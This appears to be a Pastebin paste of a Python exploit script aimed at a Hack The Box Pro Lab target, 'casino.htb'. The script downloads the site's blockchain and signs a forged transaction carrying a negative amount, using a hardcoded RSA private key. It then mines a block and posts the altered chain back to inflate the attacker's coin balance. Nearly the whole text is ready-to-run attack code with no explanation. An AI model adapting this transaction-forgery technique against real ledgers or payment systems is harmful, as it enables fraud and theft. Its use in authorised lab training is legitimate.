API tools faq
paste
Mr_hEx

Fullhouse Prolab increase coins !

Mr_hEx
Jul 31st, 2024
570
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 10.23 KB | None | 0 0
raw download clone embed print report
  1. # TG : @HTB0X
  2. import requests
  3. import time
  4. import json
  5. import base64
  6. from copy import deepcopy
  7. from collections import OrderedDict
  8. from hashlib import sha512
  9. from Crypto.PublicKey import RSA
  10. from Crypto.Hash import SHA
  11. from Crypto.Signature import PKCS1_v1_5
  12.  
  13. BLOCKCHAIN_URL = "http://casino.htb/blockchain"
  14.  
  15. class Blockchain:
  16.     def __init__(self, bank_address):
  17.         self.genesis_block = Block({'index': 0, 'previous_hash': 1, 'transactions': [], 'nonce': 0, 'timestamp': 0})
  18.         self.bank_address = bank_address
  19.         genesis_transaction = Transaction(sender_address="0", receiver_address=bank_address, amount=4,
  20.                                   transaction_inputs='', is_genesis=True, user_id='0')
  21.         self.genesis_block.transactions.append(genesis_transaction)
  22.         self.genesis_block.current_hash = self.genesis_block.get_hash()
  23.         self.block_chain = [self.genesis_block]
  24.  
  25.     def add_block(self, new_block):
  26.         if self.validate_block(new_block, 1):
  27.             self.block_chain.append(new_block)
  28.             return self
  29.  
  30.     def mine_block(self, block_to_mine, difficulty):
  31.         nonce = 0
  32.         block_to_mine.nonce = nonce
  33.         block_hash = block_to_mine.get_hash()
  34.         while block_hash[:difficulty] != '0' * difficulty:
  35.             nonce += 1
  36.             block_to_mine.nonce = nonce
  37.             block_hash = block_to_mine.get_hash()
  38.         block_to_mine.current_hash = block_hash
  39.         self.add_block(block_to_mine)
  40.  
  41.     def to_json(self):
  42.         return json.dumps(OrderedDict([('blockchain', [block.to_ordered_dict() for block in self.block_chain])]), default=str)
  43.  
  44.     def validate_block(self, block, difficulty, is_new_chain=False):
  45.         if difficulty * "0" != block.get_hash_obj().hexdigest()[:difficulty]:
  46.             return False
  47.         transaction_to_test = deepcopy(block.transactions[0])
  48.         transaction_to_test.signature = ""
  49.         transaction_to_test = transaction_to_test.to_json()
  50.         hash_object = SHA.new(transaction_to_test.encode('utf8'))
  51.         sender_public_key = block.transactions[0].sender_address
  52.         public_key = RSA.importKey(sender_public_key)
  53.         if block.transactions[0].receiver_address != self.genesis_block.transactions[0].receiver_address \
  54.         and block.transactions[0].receiver_address != block.transactions[0].sender_address \
  55.         and block.transactions[0].sender_address != self.genesis_block.transactions[0].receiver_address:
  56.             return False
  57.         if not is_new_chain:
  58.             if self.block_chain[-1].current_hash != block.previous_hash and block.index != 0:
  59.                 if block.transactions[0].sender_address == self.genesis_block.transactions[0].receiver_address:
  60.                     block.previous_hash = self.block_chain[-1].current_hash
  61.                     self.mine_block(block, 1)
  62.                 return False
  63.         return True
  64.  
  65. class Block:
  66.     def __init__(self, block_data):
  67.         self.index = block_data['index']
  68.         self.timestamp = block_data['timestamp']
  69.         self.transactions = block_data['transactions']
  70.         self.nonce = block_data['nonce']
  71.         self.previous_hash = block_data['previous_hash']
  72.         self.current_hash = None
  73.  
  74.     def to_ordered_dict(self):
  75.         return OrderedDict([
  76.             ('index', self.index),
  77.             ('timestamp', self.timestamp),
  78.             ('transactions', ([self.transaction_to_ordered_dict(trans) for trans in self.transactions])),
  79.             ('nonce', self.nonce),
  80.             ('previous_hash', self.previous_hash)
  81.         ])
  82.  
  83.     def transaction_to_ordered_dict(self, transaction):
  84.         try:
  85.             return OrderedDict([
  86.                 ('sender_address', transaction["sender_address"]),
  87.                 ('receiver_address', transaction["receiver_address"]),
  88.                 ('amount', transaction["amount"]),
  89.                 ('transaction_id', transaction["transaction_id"]),
  90.                 ('transaction_inputs', transaction["transaction_inputs"]),
  91.                 ('transaction_outputs', transaction["transaction_outputs"]),
  92.                 ("signature", transaction["signature"]),
  93.                 ("change", transaction["change"]),
  94.                 ("user_id", transaction["user_id"])])
  95.         except:
  96.             return transaction.to_ordered_dict()
  97.  
  98.     def to_json(self):
  99.         return json.dumps(self.to_ordered_dict(), default=str)
  100.  
  101.     def get_hash(self):
  102.         return self.get_hash_obj().hexdigest()
  103.  
  104.     def get_hash_obj(self):
  105.         return sha512(str(self.to_json()).encode('utf-8'))
  106.  
  107. class Transaction:
  108.     transaction_counter = 0
  109.  
  110.     def __init__(self, sender_address, receiver_address, amount, transaction_inputs, user_id, is_genesis=False):
  111.         self.sender_address = sender_address
  112.         self.receiver_address = receiver_address
  113.         self.amount = amount
  114.         self.transaction_id = str(user_id) + str(Transaction.transaction_counter)
  115.         self.transaction_inputs = transaction_inputs
  116.         self.transaction_outputs = []
  117.         self.signature = ''
  118.         self.change = 0
  119.         self.user_id = user_id
  120.  
  121.         if not is_genesis:
  122.             total_utxo = 10000
  123.             self.change = total_utxo - self.amount
  124.             if self.change < 0:
  125.                 self.change = 0
  126.             else:
  127.                 self.change = -self.amount
  128.             self.transaction_outputs.append(
  129.                 {str(self.user_id) + str(Transaction.transaction_counter): (self.receiver_address, self.amount)})
  130.             Transaction.transaction_counter += 1
  131.             self.transaction_outputs.append(
  132.                 {str(self.user_id) + str(Transaction.transaction_counter): (self.sender_address, self.change)})
  133.         else:
  134.             self.transaction_outputs.append({"0" + str(Transaction.transaction_counter): (self.receiver_address, self.amount)})
  135.         Transaction.transaction_counter += 1
  136.  
  137.     def to_ordered_dict(self):
  138.         return OrderedDict([
  139.             ('sender_address', self.sender_address),
  140.             ('receiver_address', self.receiver_address),
  141.             ('amount', self.amount),
  142.             ('transaction_id', self.transaction_id),
  143.             ('transaction_inputs', self.transaction_inputs),
  144.             ('transaction_outputs', self.transaction_outputs),
  145.             ('signature', self.signature),
  146.             ('change', self.change),
  147.             ('user_id', self.user_id)
  148.         ])
  149.  
  150.     def to_json(self):
  151.         return json.dumps(self.to_ordered_dict(), default=str)
  152.  
  153.     def sign_transaction(self, private_key):
  154.         private_key_obj = RSA.importKey(private_key)
  155.         signer = PKCS1_v1_5.new(private_key_obj)
  156.         transaction_data = self.to_ordered_dict()
  157.         hash_object = SHA.new(json.dumps(transaction_data, default=str).encode('utf8'))
  158.         self.signature = base64.b64encode(signer.sign(hash_object)).decode('utf8')
  159.  
  160. user_private_key = """-----BEGIN RSA PRIVATE KEY-----
  161. MIIEogIBAAKCAQEArWMxOCYivGCsSychynB30yPQLpSV4kKbQEoZUnEvyuBmoUBa
  162. sxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc/wdfZ72T2nGY01m25dqjAwwnNzGo
  163. Q3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41XerqWzQlgXXKvhQzLVUDIGOVCvhI
  164. H6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u7hFh5THcvxsQa4pEWDSbyQiYPq86
  165. jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHquBQS7MD8g14tQ25irzpnpcZwh7Du
  166. qzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2GIwIDAQABAoIBAADEaZlYAdtXiiui
  167. 9rFQohcbF3a9TZR8uvcj3MzSl2WMbKfWAxC71Cigza83UkBdDNSACS4fRPTNEfOn
  168. i9cWyUaPn8pzuk3DJuv4f6iwuPvwd9P0skvqJQMRFy4TCji17G+4PZzGCV9zQYYD
  169. +vSC7vWFbpgMuQXDoawJpthSgfsIs+cfnvPUEZkXGtxomaQGLm6W9KVXaP5YfT2k
  170. V7N4UPWASqI4bIgZfJy6dpLWpBApIDV26iHWAOyN4lE4q3Mk3K+tlxqMbbooCTED
  171. 49ZK9aP0+GHAglJxbR2jJ61Wu3CLby3CRoZL2joz7aC4lOOx1i4cV04p2+RfLzXb
  172. 8+HkY/ECgYEAwbdNycYR5ZRHTJTEwZz0R2aSpWRam23Yu0IivMC151dM7zpvY51z
  173. 24mUCtxYlQ5TvI9ebNEDWRWn3jBbRe8PvLdNiwcBmDYgZ7j+AjXe4axZWHiUIr0B
  174. xVVLZNLHA9tpBoaT8Et33ZLF+Vkz3CXVinSluo5/DIzBPqyXbSPSEjcCgYEA5SKm
  175. 5Tx0V8TOks5e818hchGFj0PjR5I790O6J+Jlze3wd4L8EkTyftgvVlk+GXFFTewd
  176. 9a/C5ej3C9MXCHeOERgNj9L3dXhJGSAISc7/c+7xKQs5JNoA/Q9xR5O0Bts/pPqI
  177. cKC5s4YiGeYUo5LBKHxREvl58FKNozTN47TA5XUCgYBcepz5QcTTfClZpwATilGY
  178. MKC7sqAK6bL5Gsaoo7tzmNrSrmv0+3sPCKwTT0Q+zJsvPqaOfm4BvnPof99jEJDL
  179. wBqVz590QgrQWaFx/rPLutLgiJf3yZGp2mFm3bVC4yFNizvfELhFoEdBFdPLOoiq
  180. U6u210ZSAHRU7mJQKTSlmwKBgDYOT7tC4NuX5XgC0amuprBHa+/ZfzPyTs1NoAwq
  181. wAOt/43iS99vfpnoHHrNgPX1n/j7HDJK7brZk/apLQTlV5G2z/Q/O/vtjakswmfP
  182. Orq6AxDAwhFskNEipIHTWaRIcyJTrH6NnGG64i6j9fiE9aa8dU/5pQfKIfn/yhbP
  183. HLbFAoGAT1SQp19keREECbeZq7uXRxXmSIfKMX6YOcFlSt0+zLdPnQ1/Z9Q5Z2t7
  184. urq9NlVs/RLg1rtvv7YzROARdJcuqyDVNMC8hiirYd+Ckm+O9X28abHeZzgt/AZV
  185. NzO3Z1YMad6t3t+NyTdRmOQMIfZ2SRpQdofAsKrizQ2xg6VN5WQ=
  186. -----END RSA PRIVATE KEY-----"""
  187.  
  188. user_public_key = "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArWMxOCYivGCsSychynB3\n0yPQLpSV4kKbQEoZUnEvyuBmoUBasxtFQixp8sOAmr+6v3C1/N2kQVjwv/+NzVpc\n/wdfZ72T2nGY01m25dqjAwwnNzGoQ3qjfzUu7on4t73sQ6/2TV93miezcI4ZJr41\nXerqWzQlgXXKvhQzLVUDIGOVCvhIH6yTHa2p/geAkf8s6IwOE/zbuQDpXqdY/u4u\n7hFh5THcvxsQa4pEWDSbyQiYPq86jwS1xtZqG0T+ycK63bleEEqCuMvL7WZjIdHq\nuBQS7MD8g14tQ25irzpnpcZwh7DuqzPLaH3+olZHd+fNYKbWzdsF51ILaJoNno2G\nIwIDAQAB\n-----END PUBLIC KEY-----"
  189.  
  190. blockchain_data = json.loads(requests.get("http://casino.htb/view_blockchain").text)
  191.  
  192. bank_wallet_address = blockchain_data['blockchain'][0]['transactions'][0]['receiver_address']
  193. current_blockchain = Blockchain(bank_wallet_address)
  194. blockchain_blocks = []
  195. for block_data in blockchain_data['blockchain']:
  196.     new_block = Block(block_data)
  197.     new_block.current_hash = new_block.get_hash()
  198.     blockchain_blocks.append(new_block)
  199. current_blockchain.block_chain = blockchain_blocks
  200.  
  201. malicious_transaction = Transaction(sender_address=user_public_key, receiver_address=bank_wallet_address, amount=-9999999999, transaction_inputs={"0":-9999999999}, user_id=2)
  202. malicious_transaction.sign_transaction(user_private_key)
  203. transactions = [malicious_transaction]
  204.  
  205. new_block = Block({
  206.     'index': len(current_blockchain.block_chain) - 1,
  207.     'timestamp': time.time(),
  208.     'transactions': transactions,
  209.     'nonce': current_blockchain.block_chain[-1].index + 1,
  210.     'previous_hash': current_blockchain.block_chain[-1].get_hash()
  211. })
  212. current_blockchain.mine_block(new_block, 1)
  213. response = requests.post(BLOCKCHAIN_URL, json=current_blockchain.to_json())
  214.  
  215. if response.status_code == 200:
  216.     print("[±] Check your Coins !!")
  217. else:
  218.     print("[!] Check Website !!")
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!